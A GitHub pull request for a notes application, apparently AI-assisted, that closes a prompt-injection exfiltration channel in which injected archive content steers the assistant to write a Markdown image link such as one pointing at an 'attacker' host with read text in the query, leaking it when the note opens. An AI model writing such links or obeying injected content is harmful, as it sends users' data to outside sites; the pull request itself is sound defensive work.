Repository navigation
fix(notes): don't fetch web images in Markdown the assistant writes - #194
Merged
Merged
Conversation
BlockSuite's Markdown importer fetches every http(s) image as a page opens. Markdown the assistant or the API wrote (which archived content can steer) could put readable text in an image address and have it sent to another site without a click. Such images now come in as links. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01W42z4FbekWr33b6791svQQ
3 of 8 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Requested by Adeel · project thread
Description
Before: when a note's body came from Markdown (a new page, or one the assistant or the API last wrote), BlockSuite's Markdown importer fetched every
http(s)image the moment someone opened the page. Injected archive content could get the assistant to write[x](https://attacker/?q=<text it read>)withwrite_note, which needs no approval. The next person to open the note then sent that text to the attacker's site without clicking anything.After: web images in that Markdown come in as ordinary links, which still need a click. Images kept in the file store,
data:images and everything else are unchanged. Notes edited in the editor load from its saved state and are untouched.Motivation and Context
This fixes threat-model question Q26, the answer-egress channel: rendering an answer must not fetch anything (VALID-HARDENING). Chat, page chat and batch reports already render through a parser that never shows images. Notes were the one gap.
Types of changes
!in the title)Checklist:
make hookschecks it on commit).docs/accordingly.## UnreleasedinCHANGELOG.md.🤖 Generated with Claude Code
https://claude.ai/code/session_01W42z4FbekWr33b6791svQQ
Generated by Claude Code